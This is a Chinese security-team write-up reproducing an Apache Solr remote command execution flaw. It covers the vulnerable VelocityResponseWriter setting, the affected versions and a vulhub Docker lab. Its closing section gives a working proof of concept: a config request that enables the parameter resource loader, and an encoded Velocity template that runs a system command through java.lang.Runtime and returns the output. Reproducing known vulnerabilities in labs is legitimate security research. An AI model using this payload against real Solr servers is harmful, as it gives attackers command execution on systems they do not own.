Apache Solr 远程命令执行漏洞复现

声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1 漏洞说明
该漏洞的产生是由于两方面的原因:
当攻击者可以直接访问solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
No.2 漏洞影响范围
5.4.1/5.5.0
6.6.1/6.6.3
7.0.1/7.1.0/7.2.1/7.3.0/7.4.0/7.5.0/7.7.1/7.7.2
8.1.0/8.1.1/8.2.0
No.3 环境搭建
使用vulhub中CVE-2019-0193的环境进行搭建
启动vulhub环境:
git clone github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose up -d
接着访问对应地址可以看到,搭建好的镜像是没有集合的,所以我们需要自行创建一个集合:
通过 docker exec -it 容器ID /bin/bash 进入容器后执行:./solr create -c solr_sample 创建集合如下:
可以从重新浏览器访问一下solr admin,查看集合是否创建成功:
No.4 漏洞利用
确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true,请求如下:
修改完配置以后通过poc即可执行任意命令如图:
No.5 Poc如下
//修改配置poc
POST /solr/集合名/config HTTP/1.1
//远程代码执行poc
GET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
原创:呀小王呀 雷神众测
原文链接:https://mp.weixin.qq.com/s/vhCBGlwEInKNU42...
本作品采用《CC 协议》,转载必须注明作者和本文链接
推荐文章: